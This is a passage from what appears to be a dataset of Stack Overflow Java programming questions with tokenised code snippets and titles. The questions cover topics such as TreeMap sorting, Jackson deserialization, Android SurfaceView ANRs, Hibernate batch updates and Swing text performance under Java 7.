.getAccBalance ( ) +amount ) ; Account temp = entry.getKey ( ) ; MyLinkedList < Customer > tempList = entry.getValue ( ) ; map.remove ( entry.getKey ( ) ) ; map.put ( temp , tempList ) ; break ; } } if ( flag == false ) { System.out.println ( `` Account does n't exist '' ) ; return ; } } }",how to keep a treemap sorted after adding key-values +Java,"Trying to compile this piece of codeproduces a can not reference a field before it is defined error . But if I change the initializer row toit works like a charm , printing the default int value 0.This is a bit confusing to me , why does this makes the difference ? Should n't it be redundant in this case ? Can anyone explain me what happens behind the scenes to make it clear how it really works ? PS : I know that by declaring x before the initializer would make it work too .",public class Main { public static void main ( String args [ ] ) { new Main ( ) ; } { System.out.println ( x ) ; } //Error here int x=1 ; } { System.out.println ( this.x ) ; },Instance initializer and *this* keyword +Java,"My co-worker and I have come across this warning message a couple times recently . For the below code : the warning appears in the listed spot asA Google search for `` has non-API return type '' only shows instances where this message appears in problem lists . I.e. , there 's no public explanation for it.What does this mean ? We can create a usage problem filter in Eclipse to make the message go away , but we do n't want to do this if our usage is a legitimate problem.Thanks ! EDIT : This warning does n't have to do with the parameterization , as this declaration of getFactory ( ) also results in the same warning :","package com.mycompany.product.data ; import com.mycompany.product.dao.GenericDAO ; public abstract class EntityBean { public abstract GenericDAO < Object , Long > getDAO ( ) ; // ^^^^^^ < -- WARNING OCCURS HERE } EntityBean.getDAO ( ) has non-API return type GenericDAO < T , ID > public abstract class EntityBean { protected DAOFactory getFactory ( ) { return DAOFactory.instance ( DAOFactory.HIBERNATE ) ; } }",Eclipse warning : `` < methodName > has non-API return type < parameterizedType > '' +Java,"I have written a code to find Sum of product of all possible subsets of array . I 'm getting the expected output but I 'm not able to make it fast enough to clear time related test cases . Can anyone help me in optimizing my code for speed ? First input ( testCases ) is the number of testcases.Depending on number of testcase , we will have size of array ( size ) and array elements ( set ) .For example , a valid input would be : where : 1 is the number of testcases . 3 is the size of the test set and 2 3 5 are the elements of the input set.The expected output is : 71The calculation for the above output is :","132 3 5 { 2 } , { 3 } , { 5 } , { 2 , 3 } , { 3 , 5 } , { 2 , 5 } , { 2 , 3 , 5 } = > 2 3 5 6 15 10 30= > 2 + 3 + 5 + 6 + 15 + 10 + 30= > 71 import java.util.Scanner ; public class Test { static int printSubsets ( int set [ ] ) { int n = set.length ; int b = 0 ; for ( int i = 0 ; i < ( 1 < < n ) ; i++ ) { int a = 1 ; for ( int j = 0 ; j < n ; j++ ) { if ( ( i & ( 1 < < j ) ) > 0 ) { a *= set [ j ] ; } } b += a ; } return b ; } public static void main ( String [ ] args ) { Scanner scanner = new Scanner ( System.in ) ; int testCases = scanner.nextInt ( ) ; for ( int i = 0 ; i < testCases ; i++ ) { int size = scanner.nextInt ( ) ; int set [ ] = new int [ size ] ; for ( int j = 0 ; j < set.length ; j++ ) { set [ j ] = scanner.nextInt ( ) ; } int c = printSubsets ( set ) ; System.out.println ( ( c - 1 ) ) ; } scanner.close ( ) ; } }",Sum of product of all possible subsets of array +Java,"I want to run some custom code when deserializing a particular type with Jackson 1.9 . However , I do n't want to hand-write the whole deserializer , just add to the default behaviour . Trying to do this in a JsonDeserializer the naive way results in infinite recursion , however . Currently , my approach uses a completely separate ObjectMapper , but that feels like a huge hack .","private static class SpecialDeserializer extends JsonDeserializer < Special > { @ Override public Special deserialize ( JsonParser jp , DeserializationContext ctxt ) throws IOException , JsonProcessingException { JsonNode jsonNode = jp.readValueAsTree ( ) ; ObjectMapper otherMapper = getOtherMapper ( ) ; Special special = otherMapper.readValue ( jsonNode , Special.class ) ; special.setJsonNode ( jsonNode ) ; return special ; } }",Custom deserialization on top of reflective deserialization with Jackson +Java,I would like to be able to access the following rest URLs : http : //localhost:9998/helloworldhttp : //localhost:9998/helloworld/ $ countThe first URL works fine . I am having trouble with the $ count URL using Jersey implementation of JAX-RS.Here is the code for the resource.I 've also tried `` $ count '' in both @ Path and @ PathParam but that did n't work either.Note : If I remove the dollar sign from all the code above then it works fine for the URL localhost:9998/helloworld/count . However I need the dollar sign to be there in the URL because this will be an OData producer application .,@ Path ( `` /helloworld '' ) public class HelloWorldResource { @ GET @ Produces ( `` text/plain '' ) public String getClichedMessage ( ) { return `` Hello World ! `` ; } @ GET @ Path ( `` \\ $ count '' ) @ Produces ( `` text/plain '' ) public String getClichedMessage ( @ PathParam ( `` \\ $ count '' ) String count ) { return `` Hello count '' ; } },Does Jersey support dollar sign in Path annotation of JAX-RS ? +Java,"In C++ , the lifetime of an object begins when the constructor finishes successfully . Inside the constructor , the object does not exist yet . Q : What does emitting an exception from a constructor mean ? A : It means that construction has failed , the object never existed , its lifetime never began . [ source ] My question is : Does the same hold true for Java ? What happens , for example , if I hand this to another object , and then my constructor fails ? Is this well-defined ? Does Bar now have a reference to a non-object ?",Foo ( ) { Bar.remember ( this ) ; throw new IllegalStateException ( ) ; },Exceptions in constructors +Java,"In my Android application , I use a SurfaceView to draw things . It has been working fine on thousands of devices -- except that now users started reporting ANRs on the following devices : LG G4Android 5.13 GB RAM5.5 '' display2560 x 1440 px resolutionSony Xperia Z4Android 5.03 GB RAM5,2 '' display1920 x 1080 px resolutionHuawei Ascend Mate 7Android 5.13 GB RAM6.0 '' display1920 x 1080 px resolutionHTC M9Android 5.13 GB RAM5.0 '' display1920 x 1080 px resolutionSo I got an LG G4 and was indeed able to verify the problem . It 's directly related to the SurfaceView.Now guess what fixed the issue after hours of debugging ? It is replacing ... ... with ... How can this be ? The following code is my render thread that has been working fine except for the mentioned devices : The code is , in parts , from the LunarLander example in the Android SDK , more specifically LunarView.java.Updating the code to match the improved example from Android 6.0 ( API level 23 ) yields the following : But still , this class does not work on the mentioned devices . I get a black screen and the application stops responding.The only thing ( that I have found ) that fixes the problem is adding the System.out.println ( `` 123 '' ) call . And adding a short sleep time at the end of the loop turned out to provide the same results : But these are no real fixes , are they ? Is n't that strange ? ( Depending on what changes I make to the code , I 'm also able to see an exception in the error log . There are many developers with the same problem but unfortunately none does provide a solution for my ( device-specific ) case.Can you help ?","mSurfaceHolder.unlockCanvasAndPost ( c ) ; mSurfaceHolder.unlockCanvasAndPost ( c ) ; System.out.println ( `` 123 '' ) ; // THIS IS THE FIX import android.graphics.Canvas ; import android.view.SurfaceHolder ; public class MyThread extends Thread { private final SurfaceHolder mSurfaceHolder ; private final MySurfaceView mSurface ; private volatile boolean mRunning = false ; public MyThread ( SurfaceHolder surfaceHolder , MySurfaceView surface ) { mSurfaceHolder = surfaceHolder ; mSurface = surface ; } public void setRunning ( boolean run ) { mRunning = run ; } @ Override public void run ( ) { Canvas c ; while ( mRunning ) { c = null ; try { c = mSurfaceHolder.lockCanvas ( ) ; if ( c ! = null ) { mSurface.doDraw ( c ) ; } } finally { // when exception is thrown above we may not leave the surface in an inconsistent state if ( c ! = null ) { try { mSurfaceHolder.unlockCanvasAndPost ( c ) ; } catch ( Exception e ) { } } } } } } import android.graphics.Canvas ; import android.view.SurfaceHolder ; public class MyThread extends Thread { /** Handle to the surface manager object that we interact with */ private final SurfaceHolder mSurfaceHolder ; private final MySurfaceView mSurface ; /** Used to signal the thread whether it should be running or not */ private boolean mRunning = false ; /** Lock for ` mRunning ` member */ private final Object mRunningLock = new Object ( ) ; public MyThread ( SurfaceHolder surfaceHolder , MySurfaceView surface ) { mSurfaceHolder = surfaceHolder ; mSurface = surface ; } /** * Used to signal the thread whether it should be running or not * * @ param running ` true ` to run or ` false ` to shut down */ public void setRunning ( final boolean running ) { // do not allow modification while any canvas operations are still going on ( see ` run ( ) ` ) synchronized ( mRunningLock ) { mRunning = running ; } } @ Override public void run ( ) { while ( mRunning ) { Canvas c = null ; try { c = mSurfaceHolder.lockCanvas ( null ) ; synchronized ( mSurfaceHolder ) { // do not allow flag to be set to ` false ` until all canvas draw operations are complete synchronized ( mRunningLock ) { // stop canvas operations if flag has been set to ` false ` if ( mRunning ) { mSurface.doDraw ( c ) ; } } } } // if an exception is thrown during the above , do n't leave the view in an inconsistent state finally { if ( c ! = null ) { mSurfaceHolder.unlockCanvasAndPost ( c ) ; } } } } } try { Thread.sleep ( 10 ) ; } catch ( InterruptedException e ) { }",ANR in SurfaceView on specific devices only -- The only fix is a short sleep time +Java,"I would like to write some code like this : However , it 's not clear from the javadoc which method I should use to initialize oTypeName , i.e . which method will produce the expected input to Class.forName ( ) : getCanonicalName ( ) : `` Returns the canonical name of the underlying class as defined by the Java Language Specification . Returns null if the underlying class does not have a canonical name ( i.e. , if it is a local or anonymous class or an array whose component type does not have a canonical name ) . `` getName ( ) : `` Returns the name of the entity ( class , interface , array class , primitive type , or void ) represented by this Class object , as a String . If this class object represents a reference type that is not an array type then the binary name of the class is returned , as specified by The Java™ Language Specification . `` getTypeName ( ) : `` Return an informative string for the name of this type . `` It 's fairly obvious that I do n't want either of these : getSimpleName ( ) : `` Returns the simple name of the underlying class as given in the source code . `` toString ( ) : `` The string representation is the string `` class '' or `` interface '' , followed by a space , and then by the fully qualified name of the class in the format returned by getName '' I do n't expect this to work for primitive types . It 's okay if it wo n't work for arrays . The main thing I 'm concerned about is nested classes and Foo.Bar vs. Foo $ Bar .",Object o = ... ; String oTypeName = o.getClass ( ) .getName ( ) ; //on the other side of the wire : Class < ? > oClass = Class.forName ( oTypeName ) ; Object oAgain = oClass.newInstance ( ) ;,Which java.lang.Class method generates the right input for Class.forName ( ) ? +Java,"I am using hibernate to update 20K products in my database.As of now I am pulling in the 20K products , looping through them and modifying some properties and then updating the database.so : As of now things are pretty slow compared to your standard jdbc , what can I do to speed things up ? I am sure I am doing something wrong here .",load productsforeach products session begintransaction productDao.MakePersistant ( p ) ; session commit ( ) ;,"using Hibernate to loading 20K products , modifying the entity and updating to db" +Java,The following compares two enum values using == : But PMD gives a CompareObjectsWithEquals warning on line 3 : Use equals ( ) to compare object referencesNot sure I understand the source code for this check but thought it was OK to compare two enums using == so am wondering whether my code could be improved or the check is incorrect .,MyEnum enum1 = blah ( ) ; // could return nullMyEnum enum2 = blahblah ( ) // could return nullif ( enum1 == enum2 ) { // ... },Why does comparing enums using == cause a PMD warning ? +Java,So far I coded a JavaFX application in which some rectangles move around . Now I want to create a method to check whether a rectangle is still visible in the window or already moved out of it . My code looks like that : The outOfWindow ( ) method is my attempt to check if the rectangle 's position is still in the window . It works . But is there a better way or a way to detect which window border the rectangle crossed ?,"import javafx.animation.AnimationTimer ; import javafx.application.Application ; import javafx.geometry.Point2D ; import javafx.scene.Node ; import javafx.scene.Scene ; import javafx.scene.layout.Pane ; import javafx.scene.shape.Rectangle ; import javafx.stage.Stage ; public class Test extends Application { private Pane root = new Pane ( ) ; private Rectangle rect = new Rectangle ( 150,150,15,15 ) ; private Point2D velocity = new Point2D ( 2,1 ) ; private Pane createContent ( ) { root.setPrefSize ( 500,500 ) ; root.getChildren ( ) .add ( rect ) ; AnimationTimer timer = new AnimationTimer ( ) { @ Override public void handle ( long now ) { update ( ) ; } } ; timer.start ( ) ; return root ; } private void update ( ) { if ( outOfWindow ( rect ) ) { System.out.println ( `` out of window ... \n '' ) ; } else { System.out.println ( `` in window ... \n '' ) ; } rect.setTranslateX ( rect.getTranslateX ( ) + velocity.getX ( ) ) ; rect.setTranslateY ( rect.getTranslateY ( ) + velocity.getY ( ) ) ; } private boolean outOfWindow ( Node node ) { if ( node.getBoundsInParent ( ) .intersects ( node.getBoundsInParent ( ) .getWidth ( ) , node.getBoundsInParent ( ) .getHeight ( ) , root.getPrefWidth ( ) - node.getBoundsInParent ( ) .getWidth ( ) * 2 , root.getPrefHeight ( ) - node.getBoundsInParent ( ) .getHeight ( ) * 2 ) ) { return false ; } return true ; } @ Override public void start ( Stage primaryStage ) throws Exception { primaryStage.setScene ( new Scene ( createContent ( ) ) ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; } }",How to check if rectangular node is in the window +Java,"So I have a String i would want to check if I should split into two , or return some default value . Like this : So my question is , how do i return two default strings , so that the deconstructing works ? I 've used String.split ( ) before in order to deconstruct and it 's really nice .","val myString = `` firstPart-secondPart '' val ( first , second ) = when ( myString.contains ( `` - '' ) ) { true - > myString.split ( '- ' , limit = 2 ) else - > ? ? < -- How would i return ( `` Default1 '' , `` Default2 '' ) so the destructuring still works ? }",Kotlin Destructuring when/if statement +Java,"I have players which have points . I want to get all the players who share the max amount of points using a stream and a filter.I can do this by first getting the player with the most points , and the filtering all players that have the same amount.Can this be done with a single predicate / single line ?",public class Player { private int points ; // Getter omitted } Player topPlayer = players.stream ( ) .max ( Comparator.comparing ( Player : :getPoints ) ) .orElse ( null ) ; players.stream ( ) .filter ( p - > p.getPoints ( ) == topPlayer.getPoints ( ) ) .collect ( Collectors.toList ( ) ) ;,How to get all objects having the same max value with Java streams ? +Java,"I 'm trying to create a program which displays an image straight from the url , but the problem I have is that it waits for the image to be fully loaded and then displays it , which means that if the image size is big , it will take a bunch of time to display the image , which can get annoying . But if it would show the image loading open , kind of like this.Does anyone have any idea how to achieve something like this ?",import javafx.application.Application ; import javafx.scene.Scene ; import javafx.scene.image.Image ; import javafx.scene.image.ImageView ; import javafx.scene.layout.StackPane ; import javafx.stage.Stage ; public class Testwebimage extends Application { public void start ( Stage primaryStage ) { Image image = new Image ( `` http : //i.imgur.com/hbjCOgg.jpg '' ) ; ImageView imageView = new ImageView ( ) ; imageView.setImage ( image ) ; StackPane root = new StackPane ( ) ; root.getChildren ( ) .add ( imageView ) ; Scene scene = new Scene ( root ) ; primaryStage.setScene ( scene ) ; primaryStage.setMaximized ( true ) ; primaryStage.show ( ) ; } public static void main ( String [ ] args ) { launch ( args ) ; },How to lazy load a picture instead of waiting for it to be finished downloading in Java ? +Java,I have spring boot-application with swagger . When I am testing my rest services with no utf-8 chars in header everything works OK. Swagger generate command which I can use to test it : but when I am using utf-8 chars in swagger I got no response . Swagger is just loading something . When I look into console of firefox I see just some get request : without response.When I try to edit curl command above : everything works OK so I guess there is no problem with my backend . Is there some way how I can fix/debug this problem ?,curl -X GET -- header 'Accept : application/json ' -- header 'user : me ' -- header 'reason : zst ' -- header 'Authorization : Basic dG9tYXM6dG9tYXMxMjM= ' 'http : //localhost:8080/my-app/uuid/756531B55A3D029A0894D7C9C4ACDF3EC0 ' http : //localhost:8080/my-app/webjars/springfox-swagger-ui/images/throbber.gif curl -X GET -- header 'Accept : application/json ' -- header 'user : me ' -- header 'reason : žšť ' -- header 'Authorization : Basic dG9tYXM6dG9tYXMxMjM= ' 'http : //localhost:8080/my-app/uuid/756531B55A3D029A0894D7C9C4ACDF3EC0 ',Response not loading when using utf-8 chars in header with spring-boot rest and Swagger +Java,"I 'm fairly new to Guava API and is trying to sort the keys of a MultiMap in reverse order or descending value . I 'm initiating the Map in the following way : This sorts the keys in ascending . E.g . : I tried creating a custom Date Comparator with TreeMultiMap , but have n't figure a way to do it . This is not syntactically right , but just trying to demonstrate the idea.Any pointers will be appreciated .","ListMultimap < Date , Map < String , String > > listMultimap = MultimapBuilder.treeKeys ( ) .arrayListValues ( ) .build ( ) ; List multi map iteration : key -- > Fri Jan 01 00:00:00 PST 2016 values -- > [ { test2=testval2 } , { test3=testval3 } ] List multi map iteration : key -- > Sun Jan 01 00:00:00 PST 2017 values -- > [ { test1=testval1 } ] List multi map iteration : key -- > Mon Jan 01 00:00:00 PST 2018 values -- > [ { test0=testval0 } ] List multi map iteration : key -- > Tue Jan 01 00:00:00 PST 2019 values -- > [ { test4=testval4 } ] static final Comparator < Date > DESC_ORDER = new Comparator < Date > ( ) { public int compare ( Date e1 , Date e2 ) { return e2.compareTo ( e1 ) ; } } ; SortedSetMultimap < Date , Map < String , String > > treeMultimap = TreeMultimap.create ( DESC_ORDER ) ;",How to sort guava Multimap keys in reverse order ? +Java,"I recently noticed a specific part of my code is running significantly slower since I updated to Java 7 . Pretty surprising as Java 7 is globally faster than Java 6.The program is pretty large but I succeeded to extract a reproducible code to demonstrate how java 7 is slower than Java 6.If you run the exact same code with Java 6 and Java 7 you see Java 7 is approximately 7-8 times slower than Java 6 ! ! ! Here is the code ( do n't bother trying to understand what it does , it 's just an abstract from the real code and as such does not really make sense ) . It 's basically a code that parse a string to format some part of it : On my computer if I run it with Java 6 , I get an average time of 60ms to run it.If I run it with Java 7 it will take 460ms of so.Am I the only one who noticed that ? Thanks , Edit : Here is the new program that proves the faulty method is DefaultStyledDocument.setCharacaterAttributes ( ) in Java 7 : On my computer : Java 6 : ~1 secJava 7 : ~4.5 secAny way to make it work in Java 7 as fast as in Java 6 ? Thanks , EDIT : here is a workaround that fixes the perf . issue with Java 7 ( I did it on insertString ( ) and remove ( ) ) :","import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Dimension ; import java.awt.Window ; import java.awt.event.WindowAdapter ; import java.awt.event.WindowEvent ; import java.awt.event.WindowListener ; import java.text.SimpleDateFormat ; import java.util.Calendar ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.JScrollPane ; import javax.swing.JTextPane ; import javax.swing.text.BadLocationException ; import javax.swing.text.DefaultStyledDocument ; import javax.swing.text.SimpleAttributeSet ; import javax.swing.text.StyleConstants ; public class CPerfJava7 extends JFrame { private static final long serialVersionUID = 1L ; // +==============================================================+ // | Attributes | // +==============================================================+ JPanel mainPanel ; public CPseudoHtmlDocument docu ; private static long totalTime = 0 ; // +==============================================================+ // | Constructors | // +==============================================================+ public CPerfJava7 ( ) { super ( `` PerfJava7 '' ) ; docu = new CPseudoHtmlDocument ( ) ; mainPanel = new JPanel ( new BorderLayout ( ) ) ; JTextPane textPane = new JTextPane ( ) ; textPane.setDocument ( docu ) ; textPane.setText ( `` testcase one\ndo program breakfast meal\ndo program time\ndo program portion size - 1/4 of the cup\nIt was easy to set up the time and portion size as directed in the manual\n\ndo collect kibbles from the bowl and measure the breakfast portion\ncheck the portion dispensed 1/4 cup of kibbles \nActual result - it was less than 1/4 cup . The wheel that rotates and dispenses\n the kibbles might have n't rotated completely.\n\ntestcase two\ndo program lunch meal\ndo program time\ndo leave the portion size the same - 1/4 of the cup\n\ncheck the portion dispensed 1/4 cup of kibbles\n do collect kibbles from the bowl and measure the lunch portion\nActual result was 1/20 of the cup , the wheel dispenser hardly released any kibbles\n\ntestcase three\n\ndo program dinner meal\ndo program time\ndo leave the portion size the same - 1/4 of the cup\n\ncheck the portion dispensed 1/4 cup of kibbles\n do collect kibbles from the bowl and measure the dinner portion\nActual result was less than 1/4 cup\n\nWhy was the middle meal the smallest ? Is lunch always the smallest ? \nTo prove this hypothesis , repeat first three test cases again.\n\ntestcase four\ndo repeat test case one\nActual result - it was less 1/4 and the portion was dispensed in two increments.\n\ntestcase five\ndo repeat test case two\nActual result - 1/8 of the cup.\n\ntestcase six\ndo repeat test case three\nActual result - 1/2 cup ! The wheel rotated almost twice . It looked like all\n kibbles which were not dispensed previously , got released.\n Lunch was still the smallest meal , but the dinner portion was twice of the size\n.All three tests must be repeated again.\n\ntestcase seven\ndo repeat test case one\nActual result - 1/4 of the cup . Great ! \n\ntestcase eight\ndo repeat test case two\nActual result - 1/4 of the cup ! It works perfectly ! Why ? \n\ntestcase nine\ndo repeat test case three\nActual result - 1/6 , so the third meal was less than it should be . Is this size of the portion hard to dispense correctly ? Let 's try 1/2 of the cup\n\ntestcase ten\ndo program breakfast meal\ndo program time\ndo program 1/2 of the cup\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/2 of the cup . Excellent . The wheel rotated twice as designed . In a minute it added 1/4 of the cup.\n\ntestcase eleven\ndo program lunch meal\ndo program time\ndo leave the portion size the same\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/3 of the cup . Lunch is smaller again.\n\testcase twelve\ndo program dinner meal\ndo program time\ndo leave the portion size the same - 1/2 of the cup\ncheck the amount of kibbles dispensed is 1/2 of the cup\nActual result - 1/2 , the portion was dispensed in 2 increments with the interval . As there is no consistency again , let test this portion size one more time.\n \ntestcase thirteen\ndo repeat test case ten\ncheck the amount of kibbles is 1/2 of the cup\nActual result - a bit less than 1/2\n\n\ntestcase fourteen\ndo repeat test case eleven\ncheck the portion size is 1/2 of the cup\nActual result - a bit more than 1/2 . This portion size looks more stable . The lunch is n't the smallest anymore.\n\ntestcase fiftee\ndo repeat test case twelve\ncheck portion size is 1/2 of the cup\nActual result - is l/2 , a bit less of the exact amount . All three meals were served with almost correct portion size.\n\n\n- \n\n\n '' ) ; mainPanel.add ( new JScrollPane ( textPane ) , BorderLayout.CENTER ) ; setContentPane ( mainPanel ) ; } public static void main ( String [ ] args ) { CPerfJava7 frame ; WindowListener exitListener = new WindowAdapter ( ) { @ Override public void windowClosing ( WindowEvent e ) { Window window = e.getWindow ( ) ; window.setVisible ( false ) ; window.dispose ( ) ; System.exit ( 0 ) ; } } ; frame = new CPerfJava7 ( ) ; frame.addWindowListener ( exitListener ) ; frame.setPreferredSize ( new Dimension ( 600 , 400 ) ) ; frame.pack ( ) ; frame.setVisible ( true ) ; try { // run it to warm it up frame.docu.doParse ( ) ; frame.docu.doParse ( ) ; frame.docu.doParse ( ) ; frame.docu.doParse ( ) ; frame.docu.doParse ( ) ; frame.docu.doParse ( ) ; // then do real measures totalTime = 0 ; for ( int k=0 ; k < 50 ; k++ ) { frame.docu.doParse ( ) ; } System.err.println ( `` AVERAGE = `` + ( totalTime/50 ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } /* + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + | Class : CPseudoHtmlDocument | + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + */ @ SuppressWarnings ( `` serial '' ) public class CPseudoHtmlDocument extends DefaultStyledDocument { // +==============================================================+ // | Attribute ( s ) | // +==============================================================+ private final SimpleAttributeSet attrNormal = new SimpleAttributeSet ( ) ; private final SimpleAttributeSet attrSpecial = new SimpleAttributeSet ( ) ; private final SimpleAttributeSet attrDefault = new SimpleAttributeSet ( ) ; private int currentPos = 0 ; // +==============================================================+ // | Constructor ( s ) | // +==============================================================+ public CPseudoHtmlDocument ( ) { StyleConstants.setForeground ( attrSpecial , Color.decode ( `` 0xC71D15 '' ) ) ; StyleConstants.setBold ( attrSpecial , true ) ; StyleConstants.setForeground ( attrDefault , new Color ( 150 , 150 , 0 ) ) ; StyleConstants.setBold ( attrDefault , true ) ; } // +==============================================================+ // | Method ( s ) | // +==============================================================+ public long getCurrentTimeMillis ( ) { Calendar now = Calendar.getInstance ( ) ; return now.getTimeInMillis ( ) ; } public String getCurrentLogTime ( ) { Calendar now = Calendar.getInstance ( ) ; return calendarToPreciseTimeOfTheDay ( now ) ; } public String calendarToPreciseTimeOfTheDay ( Calendar calendar ) { SimpleDateFormat localSimpleDateFormat = new SimpleDateFormat ( `` HH : mm : ss.S '' ) ; return localSimpleDateFormat.format ( calendar.getTime ( ) ) ; } private void doParse ( ) { long before = getCurrentTimeMillis ( ) ; setCharacterAttributes ( 0 , 3260 , new SimpleAttributeSet ( ) , true ) ; // reset all the text to review ( including the rewinded part ) with normal attribute for ( int i = 0 ; i < = 3260 ; i++ ) { currentPos = i ; checkForKeyword ( true ) ; } long after = getCurrentTimeMillis ( ) ; totalTime += ( after-before ) ; System.err.println ( `` - > time to parse : `` + ( after-before ) + `` ms '' ) ; } private void checkForKeyword ( boolean insert ) { int preceedingStartTag , nextStopTag , preceedingPercentTag , nextPercentTag , preceedingSpace , nextSpace ; char currentChar = ' ' ; try { currentChar = this.getText ( currentPos , 1 ) .charAt ( 0 ) ; } catch ( BadLocationException e1 ) { } if ( currentChar == ' [ ' ) { nextStopTag = getNextStop ( currentPos+1 , true ) ; setStyle ( currentPos , nextStopTag ) ; // check if this is a [ xxx ] we need to highlight } else if ( currentChar == ' ] ' ) { preceedingStartTag = getPreceedingStart ( currentPos-1 , true ) ; // returns -1 if not found or another [ , ] , \n or space found first setStyle ( preceedingStartTag , currentPos ) ; // check if this is a [ xxx ] we need to highlight } else if ( currentChar == ' % ' ) { nextPercentTag = getNextPercent ( currentPos+1 , true ) ; // returns -1 if not found or \n or space found first if ( nextPercentTag > = 0 ) { // removed code } } else { // [ xxx ] preceedingStartTag = getPreceedingStart ( currentPos-1 , true ) ; // returns -1 if not found or another ] , \n or space found first nextStopTag = getNextStop ( currentPos , true ) ; // returns -1 if not found or another [ , \n or space found first if ( preceedingStartTag > =0 & & nextStopTag > =0 ) { setStyle ( preceedingStartTag , nextStopTag ) ; } // PARAMS preceedingPercentTag = getPreceedingPercent ( currentPos-1 , true ) ; // returns -1 if not found or another [ , ] , \n or space found first nextPercentTag = getNextPercent ( currentPos , true ) ; // returns -1 if not found or another [ , ] , \n or space found first if ( preceedingPercentTag > =0 & & nextPercentTag > =0 ) { } // PDNL preceedingSpace = getPreceedingSpace ( currentPos-1 , true ) ; // returns -1 if another [ , ] or % found first , 0 if not found nextSpace = getNextSpace ( currentPos , true ) ; // returns -1 if not found or another [ , ] or % found first , length-1 if not found if ( preceedingSpace > =0 & & nextSpace > =0 ) { if ( preceedingSpace == 0 ) preceedingSpace -- ; // keyword at the very beginning of the text setStyle ( preceedingSpace+1 , nextSpace-1 ) ; } } } private int getPreceedingStart ( int offset , boolean strict ) { while ( offset > = 0 ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' [ ' ) { return offset ; } else if ( charAt == ' ] ' || charAt == ' % ' || charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { e.printStackTrace ( ) ; } offset -- ; } if ( strict ) return -1 ; else return 0 ; } private int getNextStop ( int offset , boolean strict ) { while ( true ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' ] ' ) { return offset ; } else if ( charAt == ' [ ' || charAt == ' % ' || charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { if ( strict ) return -1 ; else return offset-1 ; } offset++ ; } } private int getPreceedingPercent ( int offset , boolean strict ) { while ( offset > = 0 ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' % ' ) { return offset ; } else if ( charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { e.printStackTrace ( ) ; } offset -- ; } if ( strict ) return -1 ; else return 0 ; } private int getNextPercent ( int offset , boolean strict ) { while ( true ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' % ' ) { return offset ; } else if ( charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { if ( strict ) return -1 ; else return offset ; } offset++ ; } } private int getPreceedingSpace ( int offset , boolean strict ) { while ( offset > = 0 ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { return offset ; } else if ( charAt == ' % ' || charAt == ' [ ' || charAt == ' ] ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { e.printStackTrace ( ) ; } offset -- ; } return 0 ; } private int getNextSpace ( int offset , boolean strict ) { while ( true ) { try { char charAt = this.getText ( offset , 1 ) .charAt ( 0 ) ; if ( charAt == ' ' || charAt == '\n ' || charAt == '\r ' || charAt == '\t ' ) { return offset ; } else if ( charAt == ' % ' || charAt == ' [ ' || charAt == ' ] ' ) { if ( strict ) return -1 ; } } catch ( BadLocationException e ) { return offset-1 ; } offset++ ; } } private void setStyle ( int startTag , int stopTag ) { if ( startTag > = 0 & & stopTag > 0 & & stopTag > startTag ) { int tagLength = stopTag-startTag+1 ; try { String tag = this.getText ( startTag , tagLength ) ; String s = tag.trim ( ) /*.toLowerCase ( ) */ ; if ( s.equals ( `` testcase '' ) || s.equals ( `` do '' ) || s.equals ( `` check '' ) || s.equals ( `` and '' ) ) { setCharacterAttributes ( startTag , tagLength , attrSpecial , true ) ; } else { setCharacterAttributes ( startTag , tagLength , attrNormal , true ) ; } } catch ( BadLocationException e ) { e.printStackTrace ( ) ; } } } } } import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Dimension ; import java.awt.Window ; import java.awt.event.WindowAdapter ; import java.awt.event.WindowEvent ; import java.awt.event.WindowListener ; import java.util.Calendar ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.JScrollPane ; import javax.swing.JTextPane ; import javax.swing.text.DefaultStyledDocument ; import javax.swing.text.SimpleAttributeSet ; import javax.swing.text.StyleConstants ; public class CPerfJava7_justSetCharacterAttributes extends JFrame { private static final long serialVersionUID = 1L ; // +==============================================================+ // | Attributes | // +==============================================================+ JPanel mainPanel ; public CPseudoHtmlDocument docu ; // +==============================================================+ // | Constructors | // +==============================================================+ public CPerfJava7_justSetCharacterAttributes ( ) { super ( `` PerfJava7 '' ) ; docu = new CPseudoHtmlDocument ( ) ; mainPanel = new JPanel ( new BorderLayout ( ) ) ; JTextPane textPane = new JTextPane ( ) ; textPane.setDocument ( docu ) ; textPane.setText ( `` testcase one\ndo program breakfast meal\ndo program time\ndo program portion size - 1/4 of the cup\nIt was easy to set up the time and portion size as directed in the manual\n\ndo collect kibbles from the bowl and measure the breakfast portion\ncheck the portion dispensed 1/4 cup of kibbles \nActual result - it was less than 1/4 cup . The wheel that rotates and dispenses\n the kibbles might have n't rotated completely.\n\ntestcase two\ndo program lunch meal\ndo program time\ndo leave the portion size the same - 1/4 of the cup\n\ncheck the portion dispensed 1/4 cup of kibbles\n do collect kibbles from the bowl and measure the lunch 